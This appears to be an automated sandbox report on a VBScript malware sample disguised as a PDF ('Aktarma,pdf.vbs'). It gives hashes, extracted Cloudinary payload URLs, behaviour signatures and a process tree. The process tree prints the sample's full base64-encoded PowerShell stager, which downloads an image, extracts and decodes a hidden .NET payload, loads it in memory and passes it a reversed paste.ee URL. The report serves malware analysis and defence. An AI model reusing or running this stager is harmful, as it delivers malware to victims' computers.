Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
09-12-2024 15:27
Static task
static1
Behavioral task
behavioral1
Sample
Aktarma,pdf.vbs
Resource
win7-20241023-en
General
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Target
Aktarma,pdf.vbs
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Size
150KB
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MD5
8c5cf018a9128cb2a9267ee3c4183a0c
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SHA1
c0e11113ae0360e55302ceecbc7a356ed732ca18
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SHA256
d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e
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SHA512
7a826b11dc1fb0ca727ac5044a620b3db4108994bb4cdd353abfa6abdb9e598523d560a191fb1e42473c803a628f7052914d1c9124f09bbfe5fcdbf6154e5ada
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SSDEEP
3072:NqHoOtSIAMD8oV8luoi9TKq/do5DvqHoOtSIAMD8oV8luoi9TKq/do50qHoOtSI2:NqpTD8LRiJKq/e57qpTD8LRiJKq/e50x
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2632 powershell.exe 7 2632 powershell.exe -
pid Process 2632 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2076 wrote to memory of 2632 2076 WScript.exe 28 PID 2076 wrote to memory of 2632 2076 WScript.exe 28 PID 2076 wrote to memory of 2632 2076 WScript.exe 28
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Aktarma,pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b